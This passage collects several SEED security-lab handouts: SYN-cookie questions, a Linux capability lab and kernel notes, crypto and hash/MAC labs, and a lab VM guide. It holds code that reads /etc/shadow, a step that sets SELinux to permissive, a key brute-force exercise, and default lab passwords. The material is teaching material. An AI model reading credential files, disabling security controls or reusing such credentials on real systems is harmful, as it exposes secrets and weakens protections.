   \[ \text{cookie} = \text{hash}(saddr, daddr, sport, dport, random) + \text{seq} \]
   where random : a random number generated at the boot time.
   Can you discover if the above equation may introduce any new problems to the system?

3. Consider one more equation of SynCookie generation:
   \[ \text{cookie} = \text{hash}(saddr, daddr, sport, dport, random) + \text{ssseq + count} \]
   Consider count to be a number that gets incremented every minute or so.
   Do you think the above equation may still be a threat to the system at any given point of time?

4. If you think the third equation may still be a threat, can you come up with a new equation to satisfy all the requirements of SynCookies? You also need to elaborate as to how to recalculate the cookie once an ACK is received back to regard the connection to be authentic.

3 Helpful Materials

Here are some links that might help you discover answers for the above questions:

1. Current implementation of SYN cookies in Linux system can be found in the Linux source code at `net/ipv4/syncookies.c`.

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising.
Linux Capability Exploration Lab

1. Lab Description

The learning objective of this lab is for students to gain first-hand experiences on capability, to appreciate the advantage of capabilities in access control, to master how to use capability in to achieve the principle of least privileges, and to analyze the design of the capability-based access control in Linux. This lab is based on POSIX 1.e capability, which is implemented in recent versions of Linux kernel.

2. Lab Setup

The lab was developed based on Ubuntu 9, which uses Linux kernel version 2.6.28. Some of the features involved in this lab are not available before the kernel version 2.6.24.

2.1 Install Libcap

There are several ways for user-level programs to interact with the capability features in Linux; the most convenient way is to use the libcap library, which is now the standard library for the capability-related programming. This library does not come with some Linux distributions, so you need to download and install it. If you already have the file /usr/include/sys/capability.h, then the libcap library has already been installed. If the header file is not there, install the library using the following commands:

```
# apt-get install wget (use "yum install wget" for Fedora)
# cd dir_name (assume you want to put the libcap library in dir_name)
# tar xvf libcap-2.16.tar.gz
# cd libcap-2.16
# make (this will compile libcap)
# make install
```

Note: If you are using our pre-built Ubuntu Virtual Machine, libcap 2.16 is already installed. If you use Fedora 9 for this lab you may want to use older version of libcap. For this lab, you need to get familiar with the following commands that come with libcap:

- **setcap**: assign capabilities to a file.
- **getcap**: display the capabilities that carried by a file.
- **getpcaps**: display the capabilities carried by a process.
2.2 Put SELinux in Permissive Mode

Ubuntu 9 doesn’t come with SELinux. Skip this section if your Linux doesn’t have SELinux. However, recent versions of Fedora come with SELinux. Unfortunately, SELinux will be in our way, preventing us from doing some of the activities in this lab. We need to put SELinux to permissive mode for this lab.

To temporarily put SELinux to permissive mode, issue ‘setenforce 0’ as root. To make permissive mode as a startup mode, you need to modify /etc/selinux/config by changing the line ‘SELINUX=enforcing’ to ‘SELINUX=permissive’. Note: do not disable SELinux (only temporarily put it in the permissive mode), otherwise when you enable the SELinux next time, the OS will take time to re-label the file system for the SELinux context during the boot time.

3 Lab Tasks

In a capability system, when a program is executed, its corresponding process is initialized with a list of capabilities (tokens). When the process tries to access an object, the operating system checks the process’ capabilities, and decides whether to grant the access or not.

3.1 Task 1: Experiencing Capabilities

In operating systems, there are many privileged operations that can only be conducted by privileged users. Examples of privileged operations include configuring network interface card, backing up all the user files, shutting down the computers, etc. Without capabilities, these operations can only be carried out by superusers, who often have many more privileges than what are needed for the intended tasks. Therefore, letting superusers to conduct these privileged operations is a violation of the Least-Privilege Principle.

Privileged operations are very necessary in operating systems. All Set-UID programs involve privileged operations that cannot be performed by normal users. To allow normal users to run these programs, Set-UID programs turn normal users into powerful users (e.g., root) temporarily, even though that the involved privileged operations do not need all the power. This is dangerous: if the program is compromised, adversaries might get the root privilege.

Capabilities divide the powerful root privilege into a set of less powerful privileges. Each of these privileges is called a capability. With capabilities, we do not need to be a superuser to conduct privileged operations. All we need is to have the capabilities that are needed for the privileged operations. Therefore, even if a privileged program is compromised, adversaries can only get limited power. This way, risk of privileged program can be lowered quite significantly.

Capabilities has been implemented in Linux for quite some time, but they could only be assigned to processes. Since kernel version 2.6.24, capabilities can be assigned to files (i.e., programs) and turn those programs into privileged programs. When a privileged program is executed, the running process will carry those capabilities that are assigned to the program. In some sense, this is similar to the Set-UID files, but the major difference is the amount of privileged carried by the running processes.

We will use an example to show how capabilities can be used to remove unnecessary power assigned to certain privileged programs. First, let us login as a normal user, and run the following command:

% ping www.google.com

The program should run successfully. If you look at the file attribute of the program /bin/ping, you will find out that ping is actually a Set-UID program with the owner being root, i.e., when you execute ping, your effective user id becomes root, and the running process is very powerful. If there are
vulnerabilities in ping, the entire system can be compromised. The question is whether we can remove these privileged from ping.

Let us turn /bin/ping into a non-Set-UID program. This can be done via the following command (you need to login as the root):

# chmod u-s /bin/ping

Note: Binary files like ping may locate in different places in different distribution of Linux, use ‘which ping’ to locate your ping program.

Now, run ‘ping www.google.com’, and see what happens. Interestingly, the command will not work. This is because ping needs to open RAW socket, which is a privileged operation that can only be conducted by root (before capabilities are implemented). That is why ping has to be a Set-UID program. With capability, we do not need to give too much power to ping. Let us only assign the cap_net_raw capability to ping, and see what happens:

```
$ su root
# setcap cap_net_raw=ep /bin/ping
# su normal_user
$ ping www.google.com
```

Question 1: Please turn the following Set-UID programs into non-Set-UID programs, without affecting the behaviors of these programs.

- /usr/bin/passwd

Question 2: You have seen what we can do with the cap_net_raw capability. We would like you to get familiar with several other capabilities. For each of the following capabilities, do the following: (1) explain the purpose of this capability; (2) find a program to demonstrate the effect of these capabilities (you can run the application with and without the capability, and explain the difference in the results). You can also write your own applications if you prefer, as long as they can demonstrate the effect of the capability. Here is the list of capabilities that you need to work on (read include/linux/capability.h to learn about the capabilities).

- cap_dac_read_search
- cap_dac_override
- cap_fowner
- cap_chown
- cap_fsetid
- cap_sys_module
- cap_kill
- cap_net_admin
3.2 Task 2: Adjusting Privileges

Compared to the access control using ACL (Access Control List), capabilities has another advantage: it is quite convenient to dynamically adjust the amount of privileges a process has, which is essential for achieve the principle of least privilege. For example, when a privilege is no longer needed in a process, we should allow the process to permanently remove the capabilities relevant to this privilege. Therefore, even if the process is compromised, attackers will not be able to gain these deleted capabilities. Adjusting privileges can be achieved using the following capability management operations.

1. Deleting: A process can permanently delete a capability.

2. Disabling: A process can temporarily disable a capability. Unlike deleting, disabling is only temporary; the process can later enable it.

3. Enabling: A process can enable a capability that is temporarily disabled. A deleted capability cannot be enabled.

Without capabilities, a privileged Set-UID program can also delete/disable/enable its own privileged. This is done via the setuid() and seteuid() system calls; namely, a process can change its effective user id during the run time. The granularity is quite coarse using these system calls, because you can either be the privileged users (e.g. root) or a non-privileged users. With capabilities, the privileges can be adjusted in a much finer fashion, because each capability can be independently adjusted.

To support dynamic capability adjustment, Linux uses a mechanism similar to the Set-UID mechanism, i.e., a process carries three capability sets: permitted (P), inheritable (I), and effective (E). The permitted set consists of the capabilities that the process is permitted to use; however, this set of capabilities might not be active. The effective set consists of those capabilities that the process can currently use (this is like the effective user uid in the Set-UID mechanism). The effective set must always be a subset of the permitted set. The process can change the contents of the effective set at any time as long as the effective set does not exceed the permitted set. The inheritable set is used only for calculating the new capability sets after exec(), i.e., which capabilities can be inherited by the children processes.

When a process forks, the child’s capability sets are copied from the parent. When a process executes a new program, its new capability sets are calculated according to the following formula:

\[
\begin{align*}
\text{pI}_{\text{new}} &= \text{pI} \\
\text{pP}_{\text{new}} &= \text{fP} | (\text{fI} \& \text{pI}) \\
\text{pE}_{\text{new}} &= \text{pP}_{\text{new}} \text{ if } \text{fE} = \text{true} \\
\text{pE}_{\text{new}} &= \text{empty} \text{ if } \text{fE} = \text{false}
\end{align*}
\]

A value ending with “new” indicates the newly calculated value. A value beginning with a p indicates a process capability. A value beginning with an f indicates a file capability.

To make it convenient for programs to disable/enable/delete their capabilities, please add the following three functions to libcap-2.16/libcap/cap_proc.c (libcap-2.16 is the directory created when you run ‘tar xvf libcap-2.16.tar.gz’ to extract the libcap package).
int cap_disable(cap_value_t capflag) {
    cap_t mycaps;
    mycaps = cap_get_proc();
    if (mycaps == NULL)
        return -1;
    if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_CLEAR) != 0)
        return -1;
    if (cap_set_proc(mycaps) != 0)
        return -1;
    return 0;
}

int cap_enable(cap_value_t capflag) {
    cap_t mycaps;
    mycaps = cap_get_proc();
    if (mycaps == NULL)
        return -1;
    if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_SET) != 0)
        return -1;
    if (cap_set_proc(mycaps) != 0)
        return -1;
    return 0;
}

int cap_drop(cap_value_t capflag) {
    cap_t mycaps;
    mycaps = cap_get_proc();
    if (mycaps == NULL)
        return -1;
    if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_CLEAR) != 0)
        return -1;
    if (cap_set_flag(mycaps, CAP_PERMITTED, 1, &capflag, CAP_CLEAR) != 0)
        return -1;
    if (cap_set_proc(mycaps) != 0)
        return -1;
    return 0;
}

Run the following command to compile and install the updated libcap. After the library is installed, programs can use these three library functions that we have just added.

```
# cd libcap_directory
# make
# make install
```

**Question 3:** Compile the following program, and assign the cap_dac_read_search capability to the executable. Login as a normal user and run the program. Describe and explain your observations.
/* use_cap.c */
#include <fcntl.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <linux/capability.h>
#include <sys/capability.h>
int main(void)
{
    if (open("/etc/shadow", O_RDONLY) < 0)
        printf("(a) Open failed\n");
    /* Question (a): is the above open sucessful? why? */
    if (cap_disable(CAP_DAC_READ_SEARCH) < 0) return -1;
    if (open("/etc/shadow", O_RDONLY) < 0)
        printf("(b) Open failed\n");
    /* Question (b): is the above open sucessful? why? */
    if (cap_enable(CAP_DAC_READ_SEARCH) < 0) return -1;
    if (open("/etc/shadow", O_RDONLY) < 0)
        printf("(c) Open failed\n");
    /* Question (c): is the above open sucessful? why?*/
    if (cap_drop(CAP_DAC_READ_SEARCH) < 0) return -1;
    if (open("/etc/shadow", O_RDONLY) < 0)
        printf("(d) Open failed\n");
    /* Question (d): is the above open sucessful? why?*/
    if (cap_enable(CAP_DAC_READ_SEARCH) == 0) return -1;
    if (open("/etc/shadow", O_RDONLY) < 0)
        printf("(e) Open failed\n");
    /* Question (e): is the above open sucessful? why?*/
}

The program can be compiled using the following command (note in the second command, the second character in "-lcap" is ell, not one; it means linking the libcap library):

$ gcc -c use_cap.c
$ gcc -o use_cap use_cap.o -lcap

After you finish the above task, please answer the following questions:

- **Question 4:** If we want to dynamically adjust the amount of privileges in ACL-based access control, what should we do? Compared to capabilities, which access control is more convenient to do so?

- **Question 5:** After a program (running as normal user) disables a capability A, it is compromised by a buffer-overflow attack. The attacker successfully injectes his malicious code into this program’s stack space and starts to run it. Can this attacker use the capability A? What if the process deleted the capability, can the attacker uses the capability?
• **Question 6:** The same as the previous question, except replacing the buffer-overflow attack with the race condition attack. Namely, if the attacker exploits the race condition in this program, can he use the capability A if the capability is disabled? What if the capability is deleted?

### 4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this lab.
How Linux Capability Works in 2.6.25

1 Overview

The UNIX-style user privileges come in two varieties, regular user and root. Regular users’ power is quite limited, while the root users are very powerful. If a process needs more power than those of regular users, the process is often running with the root privilege. Unfortunately, most of the time the processes do not actually need all the privileges. In other words, they have more powerful than what they need. This can pose serious risk when a process gets compromised. Therefore, having only two types of privileges is not sufficient; a more granular privilege set is required. The POSIX capabilities is exactly designed for this purpose.

2 How Linux Capability Works

2.1 Process Capability

Each Linux process has four sets of bitmaps called the effective (E), permitted (P), inheritable (I), and bset capabilities. Each capability is implemented as a bit in each of these bitmaps, which is either set or unset.

```c
struct task_struct
{
    kernel_cap_t cap_effective, cap_inheritable, cap_permitted, cap_bset;
}

typedef struct kernel_cap_struct {
    __u32 cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;
```

The constant _KERNEL_CAPABILITY_U32S indicates how many capabilities the kernel has, it would be defined to be 2 if kernel has more than 32 capabilities, otherwise, 1.

The effective capability set indicates what capabilities are effective. When a process tries to do a privileged operation, the operating system will check the appropriate bit in the effective set of the process (instead of checking whether the effective uid of the process i 0 as is normally done). For example, when a process tries to set the clock, the Linux kernel will check that the process has the CAP_SYS_TIME bit (which is currently bit 25) set in its effective set.

The permitted capability set indicates what capabilities the process can use. The process can have capabilities set in the permitted set that are not in the effective set. This indicates that the process has temporarily disabled this capability. A process is allowed to set a bit in its effective set only if it is available in the permitted set. The distinction between effective and permitted makes it possible for a process to disable, enable and drop privileges.

The inheritable capability set indicates what capabilities of the current process should be inherited by the program executed by the current process. When a process executes a new program (using exec()), its new capability sets are calculated according to the following formula:

```
pI_new = pI
pP_new = (X & fP) | (fI & pI)
```
\[
pE_{\text{new}} = pP_{\text{new}} \text{ if } fE = \text{true} \\
pE_{\text{new}} = \text{empty} \text{ if } fE = \text{false}
\]

A value ending with "\text{new}" indicates the newly calculated value. A value beginning with a \text{p} indicates a process capability. A value beginning with an \text{f} indicates a file capability. \text{x} indicates capability bounding set. This work is done by \text{cap_bprm_apply_creds}() in linux/security/commoncap.c.

Nothing special happens during \text{fork}() or \text{clone}(). Child processes and threads are given an exact copy of the capabilities of the parent process.

The capability bounding set (\text{cap_bset}) is a set beyond which capabilities cannot grow. Previous kernels implement \text{cap_bset} for whole OS. You can find it in /proc/sys/kernel/cap-bound. Now each process has its own bounding set, which can be modified (dropping only) via \text{prctl}().

2.2 Manipulate Process Capability

Two system calls are provided to let users interact with process capabilities. They are \text{capget}() and \text{capset}() in kernel/capability.c. But unfortunately, with file capability support, process can only manipulate its own capability, this restriction is implemented in the following:

security/commoncap.c:
```
#ifdef CONFIG_SECURITY_FILE_CAPABILITIES
static inline int cap_block_setpcap(struct task_struct*target)
{
    /*
    * No support for remote process capability manipulation with
    * filesystem capability support.
    */
    return (target != current);
}
```

2.3 File Capability

To reduce the risk caused by Set-UID programs, we can assign a minimal set of capabilities to a privileged program, instead of giving the program the root privilege. Binding a set of capabilities to programs has been implemented since kernel 2.6.24. It is called \text{file capability}.

The basic idea is to assign certain attribute to the inode. Going through the process of \text{exec}() can give us a picture of how file capability works. (The capability-unrelated parts are omitted here)

in fs/exec.c:
```
int do_execve(...)
{
    prepare_binprm(bprm);
    search_binary_handler(bprm, regs);
}
```

Basically \text{prepare_binprm}() is to get capability from the inode. The function \text{search_binary_handler}() calls specific loading function of certain type of binary file, which finally calls \text{cap_bprm_apply_creds()} in the capability module. Its job is to apply the capability to the current process.
int prepare_binprm(struct linux_binprm *bprm)
{
    security_bprm_set(bprm);
}

in security/security.c:
int security_bprm_set(struct linux_binprm *bprm)
{
    return security_ops->bprm_set_security(bprm);
}

The security_ops points to secondary LSM. In 2.6.25, by default, it is capability module, which is stacked on SELinux module. Capability module is implemented in security/commoncap.c. Since this module is always considered to be stacked on other modules, the hook functions in the module only do capability-related works, which do not cover all function points in struct security_operations (please refer to details on LSM mechanism). Here, bprm_set_security() points to cap_bprm_set_security().

in security/commoncap.c:
int cap_bprm_set_security (struct linux_binprm *bprm)
{
    get_file_caps(bprm);
    if (!issecure (SECURE_NOROOT)) {
        if (bprm->e_uid == 0 || current->uid == 0) {
            cap_set_full (bprm->cap_inheritable);
            cap_set_full (bprm->cap_permitted);
        }
        if (bprm->e_uid == 0)
            bprm->cap_effective = true;
    }
}

The function get_file_caps(bprm) first fetches the capability from the inode to struct linux_binprm. Then turn on all the capabilities if current user is root and SECURE_NOROOT is not set. SECURE_NOROOT is a security mode. SECURE_NO_SETUID_FIXUP is another one, when it is not set, then when a process switches its real or effective uids to or from 0, capability sets are further shifted around. 2.6.26 has more of them. We won’t talk further on this here.(check include/linux/securebits.h for the detailed definition)

2.4 Manipulating File Capability

Linux does not provide specific system call to manipulate file capability. But since it is implemented as inode attribute, we can use system call getxattr() and fsetxattr(). Please refer to cap_get_file() and cap_set_file() in cap_file.c in libcap for details on how to use it.

2.5 Checking Capability

The capabilities of a process are checked almost everywhere when an access attempt is made. Some of them can still grant permission even if ACL check fails. For example:

in fs/namei.c:
int generic_permission(...)
{
    check_capabilities:
    /*
     * Read/write DACs are always overridable.
     * Executable DACs are overridable if at least one exec bit is set.
     */
    if (!(mask & MAY_EXEC) ||
        (inode->i_mode & S_IXUGO) || S_ISDIR(inode->i_mode))
    {
        if (capable(CAP_DAC_OVERRIDE))
            return 0;
    }
}

The function capable(CAP_DAC_OVERRIDE) checks whether the current process has CAP_DAC_OVERRIDE as an effective capability. The capable() function is linked to SELinux module function which is again linked to cap_capable() in the capability module as a secondary module.

in security/commoncap.c:
int cap_capable (struct task_struct *tsk, int cap)
{
    /* Derived from include/linux/sched.h:capable. */
    if (cap_raised(tsk->cap_effective, cap))
        return 0;
    return -EPERM;
}

References
[1] Taking Advantage of Linux Capabilities. Available at
    http://www.linuxjournal.com/article/5737
[2] Linux kernel capabilities FAQ. Available at
[3] Linux Capabilities: making them work. Available at
1 Overview

The learning objective of this lab is for students to get familiar with the concepts in the secret-key encryption. After finishing the lab, students should be able to gain a first-hand experience on encryption algorithms, encryption modes, paddings, and initial vector (IV). Moreover, students will be able to use tools and write programs to encrypt/decrypt messages.

2 Lab Environment

Installing OpenSSL. In this lab, we will use openssl commands and libraries. You should first install openssl package using the following command:

```bash
% sudo apt-get install openssl
```

It should be noted that the above command only install the openssl binaries. If you want to use openssl libraries in your programs, you need to install several other things for the programming environment, including the header files, libraries, manuals, etc. You can use the following command to do this:

```bash
% apt-get source openssl
```

Untar the tar ball, and run the following commands.
You should read the INSTALL file first:

```bash
% ./config
% make
% make test
% sudo make install
```

Installing GHex. In this lab, we need to be able to view and modify files of binary format. GHex is a hex editor for GNOME, it allows the user to load data from any file, view and edit it in either hex or ascii. You can use the following command to install it (it should be noted that the name of the command is called /usr/bin/ghex2 at the time of writing):

```bash
% sudo apt-get install ghex.
```
3 Lab Tasks

3.1 Task 1: Encryption using different ciphers and modes

In this task, we will play with various encryption algorithms and modes. You can use the following `openssl enc` command to encrypt/decrypt a file. To see the manuals, you can type `man openssl` and `man enc`.

```
% openssl enc ciphertype -e -in plain.txt -out cipher.bin \
   -K 00112233445566778889aabbccddeeff \
   -iv 0102030405060708
```

Please replace the `ciphertype` with a specific cipher type, such as `-aes-128-cbc`, `-aes-128-cfb`, `-bf-cbc`, etc. In this task, you should try at least 3 different ciphers and three different modes. You can find the meaning of the command-line options and all the supported cipher types by typing "man enc". We include some common options for the `openssl enc` command in the following:

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-in &lt;file&gt;</code></td>
<td>input file</td>
</tr>
<tr>
<td><code>-out &lt;file&gt;</code></td>
<td>output file</td>
</tr>
<tr>
<td><code>-e</code></td>
<td>encrypt</td>
</tr>
<tr>
<td><code>-d</code></td>
<td>decrypt</td>
</tr>
<tr>
<td><code>-K/-iv</code></td>
<td>key/iv in hex is the next argument</td>
</tr>
<tr>
<td><code>-[pP]</code></td>
<td>print the iv/key (then exit if -P)</td>
</tr>
</tbody>
</table>

3.2 Task 2: Encryption Mode – ECB vs. CBC

The file `pic_original.bmp` contains a simple picture. We would like to encrypt this picture, so people without the encryption keys cannot know what is in the picture. Please encrypt the file using the ECB (Electronic Code Book) and CBC (Cipher Block Chaining) modes, and then do the following:

1. Let us treat the encrypted picture as a picture, and use a picture viewing software to display it. However, For the `.bmp` file, the first 36 bytes contain the header information about the picture, we have to set it correctly, so the encrypted file can be treated as a legitimate `.bmp` file. We will replace the header of the encrypted picture with that of the original picture. You can use the `ghex` tool to directly modify binary files.

2. Display the encrypted picture using any picture viewing software. Can you derive any useful information about the original picture from the encrypted picture? Please explain your observations.

3.3 Task 3: Encryption Mode – Corrupted Cipher Text

To understand the properties of various encryption modes, we would like to do the following exercise:

1. Create a text file that is at least 64 bytes long.

2. Encrypt the file using the AES-128 cipher.

3. Unfortunately, a single bit of the 30th byte in the encrypted file got corrupted. You can achieve this corruption using `ghex`.
4. Decrypt the corrupted file (encrypted) using the correct key and IV.

Please answer the following questions: (1) How much information can you recover by decrypting the corrupted file, if the encryption mode is ECB, CBC, CFB, or OFB, respectively? Please answer this question before you conduct this task, and then find out whether your answer is correct or wrong after you finish this task. (2) Please explain why. (3) What are the implication of these differences?

### 3.4 Task 4: Padding

For block ciphers, when the size of the plaintext is not the multiple of the block size, padding may be required. In this task, we will study the padding schemes. Please do the following exercises:

1. The openssl manual says that openssl uses PKCS5 standard for its padding. Please design an experiment to verify this. In particular, use your experiment to figure out the paddings in the AES encryption when the length of the plaintext is 20 octets and 32 octets.

2. Please use ECB, CBC, CFB, and OFB modes to encrypt a file (you can pick any cipher). Please report which modes have paddings and which ones do not. For those that do not need paddings, please explain why.

### 3.5 Task 5: Programming using the Crypto Library

So far, we have learned how to use the tools provided by openssl to encrypt and decrypt messages. In this task, we will learn how to use openssl's crypto library to encrypt/decrypt messages in programs.

OpenSSL provides an API called EVP, which is a high-level interface to cryptographic functions. Although OpenSSL also has direct interfaces for each individual encryption algorithm, the EVP library provides a common interface for various encryption algorithms. To ask EVP to use a specific algorithm, we simply need to pass our choice to the EVP interface. A sample code is given in [http://www.openssl.org/docs/crypto/EVP_EncryptInit.html](http://www.openssl.org/docs/crypto/EVP_EncryptInit.html). Please get yourself familiar with this program, and then do the following exercise.

You are given a plaintext and a ciphertext, and you know that aes-128-cbc is used to generate the ciphertext from the plaintext, and you also know that the numbers in the IV are all zeros (not the ASCII character ‘0’). Another clue that you have learned is that the key used to encrypt this plaintext is an English word shorter than 16 characters; the word that can be found from a typical English dictionary. Since the word has less than 16 characters (i.e. 128 bits), space characters (hexadecimal value 0x20) are appended to the end of the word to form a key of 128 bits. Your goal is to write a program to find out this key. You can download a English word list from the Internet. We have also linked one on the web page of this lab. The plaintext and ciphertext is in the following:

| Plaintext (total 21 characters): This is a top secret. |
| Ciphertext (in hex format): 8d20e5056a8d24d0462ce74e4904c1b5 |
| 13e10d1df4a2ef2ad4540fae1ca0aaf9 |

**Note 1:** If you choose to store the plaintext message in a file, and feed the file to your program, you need to check whether the file length is 21. Some editors may add a special character to the end of the file. If that happens, you can use the ghex tool to remove the special character.
Note 2: In this task, you are supposed to write your own program to invoke the crypto library. No credit will be given if you simply use the openssl commands to do this task.

Note 3: To compile your code, you may need to include the header files in openssl, and link to openssl libraries. To do that, you need to tell your compiler where those files are. In your Makefile, you may want to specify the following:

```
INC=/usr/local/ssl/include/
LIB=/usr/local/ssl/lib/

all:
gcc -I$(INC) -L$(LIB) -o enc yourcode.c -lcrypto
```

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this lab.
Crypto Lab – One-Way Hash Function and MAC

1 Overview
The learning objective of this lab is for students to get familiar with one-way hash functions and Message Authentication Code (MAC). After finishing the lab, in addition to gaining a deeper understanding of the concepts, students should be able to use tools and write programs to generate one-way hash value and MAC for a given message.

2 Lab Environment

Installing OpenSSL. In this lab, we will use openssl commands and libraries. You should first install openssl package using the following command:

```
% sudo apt-get install openssl
```

It should be noted that the above command only install the openssl binaries. If you want to use openssl libraries in your programs, you need to install several other things for the programming environment, including the header files, libraries, manuals, etc. You can use the following command to do this:

```
% apt-get source openssl
```

Untar the tar ball, and run the following commands. You should read the INSTALL file first:

```
% ./config
% make
% make test
% sudo make install
```

Installing GHex. In this lab, we need to be able to view and modify files of binary format. GHex is a hex editor for GNOME, it allows the user to load data from any file, view and edit it in either hex or ascii. You can use the following command to install it (it should be noted that the name of the command is called /usr/bin/ghex2 at the time of writing):

```
% sudo apt-get install ghex.
```
3 Lab Tasks

3.1 Task 1: Generating Message Digest and MAC

In this task, we will play with various one-way hash algorithms. You can use the following openssl dgst command to generate the hash value for a file. To see the manuals, you can type man openssl and man dgst.

```
% openssl dgst dgsttype filename
```

Please replace the `dgsttype` with a specific one-way hash algorithm, such as -md5, -sha1, -sha256, etc. In this task, you should try at least 3 different algorithms, and describe your observations. You can find the supported one-way hash algorithms by typing "man openssl".

3.2 Task 2: Keyed Hash and HMAC

In this task, we would like to generate a keyed hash (i.e. MAC) for a file. We can use the -hmac option (this option is currently undocumented, but it is supported by openssl). The following example generates a keyed hash for a file using the HMAC-MD5 algorithm. The string following the -hmac option is the key.

```
% openssl dgst -md5 -hmac "abcdefg" filename
```

Please generate a keyed hash using HMAC-MD5, HMC-SHA256, and HMAC-SHA1 for any file that you choose. Please try several keys with different length. Do we have to use a key with a fixed size in HMAC? If so, what is the key size? If not, why?

3.3 Task 3: The Randomness of One-way Hash

To understand the properties of one-way hash functions, we would like to do the following exercise for MD5 and SHA256:

1. Create a text file of any length.
2. Generate the hash value $H_1$ for this file using a specific hash algorithm.
3. Flip one bit of the input file. You can achieve this modification using ghex.
4. Generate the hash value $H_2$ for the modified file.
5. Please observe whether $H_1$ and $H_2$ are similar or not. Please describe your observations in the lab report. You can write a short program to count how many bits are the same between $H_1$ and $H_2$.

3.4 Task 4: Building a Merkle Tree

In this task, instead of using openssl’s command-line tools, we need to write our own program to invoke message digest functions in openssl’s crypto library. A sample code can be found from http://www.openssl.org/docs/crypto/EVP_DigestInit.html. Please get familiar with this sample code, and then do the following exercise (please use SHA256 in the exercise).

You will be provided with 16 image files, F_1.jpg, ..., F_16.jpg. These files can be downloaded from the lab web page. We would like to get these images timestamped all in once, but allowing their
timestamps to be individually verified. To achieve this goal, we will build a Merkle Tree from these 16 files, and then “publish” the root of the tree in a widely-distributed newspaper (of course, this is just hypothetical and we will not actually publish it). In this Merkle Tree, the $i$-th leaf node, for $i = 1, \ldots, 16$, consists the SHA256 hash value of the file $F_i.jpg$. Once you have built this tree, please write down the following in the lab reports: (1) the value in the root of the tree, and (2) the proofs for $F_7.jpg$. Please do not reorder these files, as your results may be different from the correct answer.

3.5 Task 5: Implementing HMAC

Write a program (not using the openssl command) to generate the HMAC for an array of data. You should support at least MD5 and SHA256 in your implementation, i.e. you can generate HMAC-MD5 and HMAC-SHA256.

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this lab.
1 Overview

Using VMware, we have created a pre-built virtual machine (VM) image for UbuntuLinux (version 9). This VM can be used for all our SEED labs that are based on Linux. In this document, we describe the configuration of this VM, and give an overview of all the software tools that we have installed.

Updating the VM is quite time-consuming, because not only do we need to update the VM image, we have to make sure that all our labs are consistent with the newly built VM. Therefore, we only plan to update our VM image once every two years, and of course update all our labs once the VM is changed.

If you are using our SEED labs, and want to get a copy of our most recent VM image, please send us an email: wedu@syr.edu. We can either send you a DVD or let you download the image from us.

2 VM Configurations

2.1 Configuration of the VM

The main configuration of this VM is summarized in the following. If you are using VMware Workstation, you can adjust the configuration according to the resources of your host machine (e.g., you can assign more memory to this VM if your host machine has enough memory):

- Operating system: Ubuntu 9.04 with the Linux kernel v2.6.28.
- Memory: 256M RAM.
- Disk space: Maximum 8G disk space.

We have created two accounts in the VM. The usernames and passwords are listed in the following:

   
   Note: Ubuntu does not allow root to login directly from the login window. You have to login as a normal user, and then use the command su to login to the root account.

2. User ID: seed, Password: dees

2.2 Network setup

Currently the “Network connection” is set to “NAT”, i.e., your VM is put in a private network, which uses your host machine as the router. The VMs in such a setting can connect to the Internet via the NAT mechanism, and they are not visible to the outside (their IP addresses are not routable from the outside, e.g., many use 192.168 prefix). This setting is sufficient for most of our SEED labs.

If you want your VMs to be visible to the outside (e.g., you want to host a HTTP server in a VM, and you want to access it through the Internet), then, you have to set the “Network connection” to “Bridged”.
3 Libraries and Software

3.1 Libraries and Applications Installed

Besides the packages coming with the Ubuntu 9 installation, the following libraries and applications are additionally installed using the "apt-get install" command.

    tcl, tk, libnet1, libnet1-dev, libpcap0.8-dev, libattr1-dev,  
vim, apache2, php5, libapache2-mod-php5, mysql-server,  
wireless, bind9, nmap, sun-java6-jdk, xpdf, vsftpd, telnetd,  
zsh

The libcap 2.16 and netlib/netwox/netwag 5.35.0 have been compiled and installed from the source downloaded from the Internet.

3.2 Softwares configuration

Netlib/netwox/netwag 5.35.0. Netwox is a network toolbox; netwag is a GUI of netwox. They can be found in /usr/local/bin/. The ICMP spoofing bug of netwox has been fixed. It should be noted that running netwox/netwag requires the root privilege.

Wireshark. Wireshark is a network protocol analyzer for Unix and Windows. It is located in /usr/bin/. Wireshark requires the root privilege to run.

Nmap. Nmap is a free security scanner for network exploration and hacking. It is located in /usr/bin/. Some functions of nmap require root privilege.

Firefox extensions. Firefox is installed by default in Ubuntu 9. We have installed two useful extensions: LiveHTTPHeaders and Firebug. They can be launched in the “Tools” menu in Firefox.

PhpBB2 Forum. For some labs, especially those related to web security, we need a non-trivial web application. For that purpose, we have installed the phpBB2 forum. Several versions of phpBB2 forum are installed; most of them were modified from the original phpBB2 to introduce different vulnerabilities.

It should be noted that to access the phpBB2 forum, the apache2 http server and the MySQL database server must be running.

Java. We have installed the Sun java JDK. The commands javac and java are available to compile and run java source code.

4 Pre-Installed Servers

Some of the SEED labs may need additional services that are not installed or enabled in the standard Ubuntu distribution. We have included them in our pre-built VM. Note: You need root privilege to start a server.
4.1 The MySQL Server

The database server MySQL is installed. It can be started by running "service mysql start". Currently, there are two accounts in the MySQL server. The usernames and passwords are listed below.

1. root: seedubuntu
2. apache: apache (web applications use this account to connect to the mysql server)

You can access the MySQL database server by running the client-side application /usr/bin/mysql. The following is a simple demo on how to use mysql.

```bash
$ mysql -u root -pseedubuntu
mysql> show databases;
mysql> use origin_phpbb_db;
mysql> show tables;
mysql> select username, user_email from phpbb_users;
mysql> quit
```

4.2 The Apache2 Http Server

The apache2 http server was installed using "apt-get install". It can be started by issuing the "service apache2 start" command. The apache2 server is configured to listen on both 80 and 8080 ports. All the web pages hosted by the server can be located under the /var/www/ directory.

